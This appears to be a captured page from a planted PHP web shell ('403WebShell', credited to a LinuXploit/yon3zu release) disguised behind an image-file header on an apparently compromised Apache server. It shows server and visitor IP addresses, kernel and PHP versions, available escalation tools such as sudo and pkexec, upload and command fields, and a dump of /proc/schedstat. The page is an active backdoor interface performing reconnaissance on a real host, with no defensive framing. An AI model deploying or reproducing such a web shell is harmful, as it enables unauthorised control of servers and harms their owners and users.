????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/schedstat
version 15
timestamp 30961181662
cpu0 1751060782 0 483448744 596665550 2642429147 2128226871 24502304058520110 269456883660469 11020471847
domain0 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000041 220859994 218079030 1355821 270603288 1464070 59665 179581 217899449 242587519 241185412 1142827 55748231 266511 80069 2637 241182775 2457753291 2450917796 3637415 402918832 3287982 56490 41914 2450875882 9115 5 9110 0 0 0 0 0 0 453977137 6845957 0
domain1 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000fff 218037815 159273439 36290106 1468615229 26242426 4515944 30112068 51426226 179342862 159107295 19503558 2653654577 768819 102223 13316581 45548553 2454555211 2045461765 399134528 1290014457 10253594 1094376 1282545889 762915876 3513432 10466 3502966 0 0 0 0 0 0 60225072 302538659 0
cpu1 1693659386 0 3569774471 370361195 852526798 1049329115 23285067577397103 227244128508944 10095878097
domain0 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000082 135792900 133295647 1191382 305297670 1332033 52231 132870 133162777 243443146 241942615 1237041 57011589 270153 102871 2054 241940561 2524823670 2517901046 3683825 430347381 3326969 57311 44563 2517856483 9471 8 9463 0 0 0 0 0 0 470206971 5234314 0
domain1 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000fff 134062952 78476284 35473348 1157716144 23883104 4588720 23508537 13821702 178651175 157997298 19881910 2718676344 810909 105096 13624325 44995338 2521584871 2122313024 391478159 1206299802 8044525 1133113 1422427107 699885917 3546307 16334 3529973 0 0 0 0 0 0 3627958008 192503121 0
cpu2 1436185890 0 2622959233 57316632 735553852 1068749927 23131911479614829 222543869687085 9719604641
domain0 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000104 136836494 134700080 925649 261001929 1233034 38676 81108 134618973 246459583 245043578 1152461 54057920 269290 87607 1950 245041628 2564799087 2557899519 3625871 421366921 3362986 53331 42195 2557857324 8758 1 8757 0 0 0 0 0 0 483125002 4881438 0
domain1 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000fff 135314847 82836924 34754323 880072020 21612328 4825179 21206855 13956347 180080311 158723790 20545665 2822040444 852784 112727 13612384 44146013 2561525390 2163096383 390987904 1399079214 7663132 1202509 1456041837 707054546 3701294 14657 3686637 0 0 0 0 0 0 3478646219 162184398 0
cpu3 1441861930 0 2850330248 28868192 1052929979 1662956926 22620961496764753 236126617647169 9968861793
domain0 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000208 251925962 250032228 743436 169620842 1177844 46069 59676 249972559 235159245 233686972 1202115 66568702 278777 99802 5257 233681715 2379367694 2372354650 3668727 396570622 3445981 53625 44167 2372310483 9433 4 9429 0 0 0 0 0 0 504307553 8320523 0
domain1 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000fff 248602210 199444925 33687271 697340390 19567357 5190860 27301213 49540541 176544967 155065358 20685170 2762567196 826817 112946 12101163 43461658 2376023377 1952749849 412441157 3186897023 11151242 1311442 1200398999 752350850 3974636 13007 3961629 0 0 0 0 0 0 3180632796 265334388 0
cpu4 1834564052 0 429090646 573888530 1880213197 2128658233 23824775779510341 242204445779487 10905312248
domain0 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000410 207822528 206195675 551178 129857446 1098690 32143 45312 206150367 241707546 240317033 1124078 57975762 273608 88293 2876 240314157 2436375408 2429480457 3571015 381228235 3422215 47794 44171 2429436286 8890 4 8886 0 0 0 0 0 0 549981219 6930178 0
domain1 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000fff 205109859 158044715 33622953 507171914 17708992 5408541 26163050 48929897 177760366 155989827 20946270 2793962340 861439 118059 12453656 43123389 2433051472 2013032436 410181578 2895286123 10133779 1396029 1250063447 762968989 4137830 8550 4129280 0 0 0 0 0 0 3496541041 277315620 0
cpu5 1921862155 0 921326548 760320277 2302588524 2158699248 24588513868843770 248789069979174 11123731891
domain0 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000820 201998326 200185094 718742 229438457 1116691 30516 37470 200147625 247716280 246285197 1153230 60333953 285579 95988 3370 246281827 2477510836 2469989057 3903738 465876243 3724962 60190 49783 2469939274 9011 7 9004 0 0 0 0 0 0 549430239 7276317 0
domain1 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000fff 199372148 153354556 33987093 404494148 16502589 5711210 25840684 50152455 181212253 158866994 21500944 2840272558 880701 120313 12080414 42983672 2473892795 2037332271 426303997 276685125 10552183 1557227 1242782828 794549443 4356604 5688 4350916 0 0 0 0 0 0 3889426333 314122380 0
cpu6 2852028411 0 2302630403 3633195443 3976219698 511801422 14278740471100502 175466966358654 4407482706
domain0 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000041 189041794 185025090 2848668 424816587 1304244 151710 38477 184986611 141048821 138845669 1802774 132031331 414097 82651 4297 138841372 850824505 840443818 6512202 862058145 4002463 72632 273621 840170197 129328 460 128868 0 0 0 0 0 0 356813882 4578972 0
domain1 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000fff 187473461 156231465 22096327 3256621634 10142392 1603193 12727708 5474101 119037732 119037732 0 0 0 0 0 1 846956020 487767843 353655010 1904123386 5769815 701417 331622226 156145617 905558 2432 903126 0 0 0 0 0 0 3107604394 24315185 0
cpu7 2810380585 0 2114260799 3566988369 4107450259 435654454 14490232999335104 173287134271672 4326995609
domain0 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000082 92064346 90331099 613783 126419253 1140841 30457 26612 90304486 147356402 145222996 1764105 102798367 379322 102928 3597 145219399 817003714 808685888 4723339 582299872 3700330 65076 174189 808511699 16192 21 16171 0 0 0 0 0 0 399808696 3869559 0
domain1 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000fff 90670983 60502884 21805004 3176430879 9382968 1660950 7582141 1980300 124553528 124553528 0 0 0 0 0 0 813409227 447308803 360656964 2965380461 5671129 751045 326710049 120598754 932314 3642 928672 0 0 0 0 0 0 3271987109 20317198 0
cpu8 2892760284 0 2356485871 3663760682 4240061600 419160103 14612709744697586 169908943704736 4390090761
domain0 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000104 88502436 86930526 484068 109920283 1107494 24770 23558 86906968 149190122 147170640 1651859 95781530 376664 90081 3416 147167224 829982823 821797156 4575640 557755940 3718624 62611 133269 821663887 14943 26 14917 0 0 0 0 0 0 418274258 3392849 0
domain1 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000fff 87213170 57986109 21883063 3105613794 8402536 1712693 8444458 2312446 125649507 125649507 0 0 0 0 0 0 826372796 457548225 363443609 3216890179 5587187 794227 336726859 120821366 983101 3138 979963 0 0 0 0 0 0 3402627239 18958390 0
cpu9 3158798980 0 3000919366 3894430327 3727384657 378292333 14402358780353950 156656962388639 4537670752
domain0 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000208 85685661 82201459 2409479 384675460 1139807 66411 22841 82178615 143860009 141723974 1718939 125933965 437882 99119 4820 141719154 820056910 809997956 6170489 795152799 4051576 77405 402515 809595441 54373 237 54136 0 0 0 0 0 0 408130730 3035906 0
domain1 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000fff 84408352 56844056 21602727 2953930577 7024221 1729631 8700260 4682275 121358543 121358543 0 0 0 0 0 0 816168445 440335313 370431144 3982744546 5650693 814826 314105906 126229407 1014500 2518 1011982 0 0 0 0 0 0 2940961594 18288221 0
cpu10 3138789065 0 2947387416 3878763108 3639837086 377589476 14466434942441067 153674633951805 4519824544
domain0 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000410 85723680 82102459 2583161 371456268 1171412 141590 19457 82083001 144279051 142196601 1680651 129187408 415753 88832 4411 142192190 821447192 811065085 6471673 870998243 4049303 66565 338993 810726092 127249 495 126754 0 0 0 0 0 0 440213555 3565399 0
domain1 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000fff 84475301 57516022 21726236 2910111694 6332236 1779534 9559616 4519849 121368004 121368004 0 0 0 0 0 0 817536758 441104774 371087072 3960655267 5576919 857679 310415204 130689570 1047379 1360 1046019 0 0 0 0 0 0 2822034055 18568863 0
cpu11 3032418801 0 2679221380 3792143501 3667294837 383527809 14335624907656479 157270998378161 4444642992
domain0 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000820 89707168 85811345 2801491 435519967 1254326 172113 17362 85793982 145025196 142874674 1734645 140232364 430510 96376 4469 142870205 830913123 819678609 7075920 993003464 4303657 68579 328084 819350525 153158 125 153033 0 0 0 0 0 0 441717406 4306598 0
domain1 00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000fff 88310799 61549384 22134192 2901215981 5778923 1850817 9885200 4743455 123543263 123543263 0 0 0 0 0 0 826754529 436570904 384664125 1048916027 5749402 926040 306630629 129940275 1104223 66 1104157 0 0 0 0 0 0 2842049622 21077509 0

Youez - 2016 - github.com/yon3zu
LinuXploit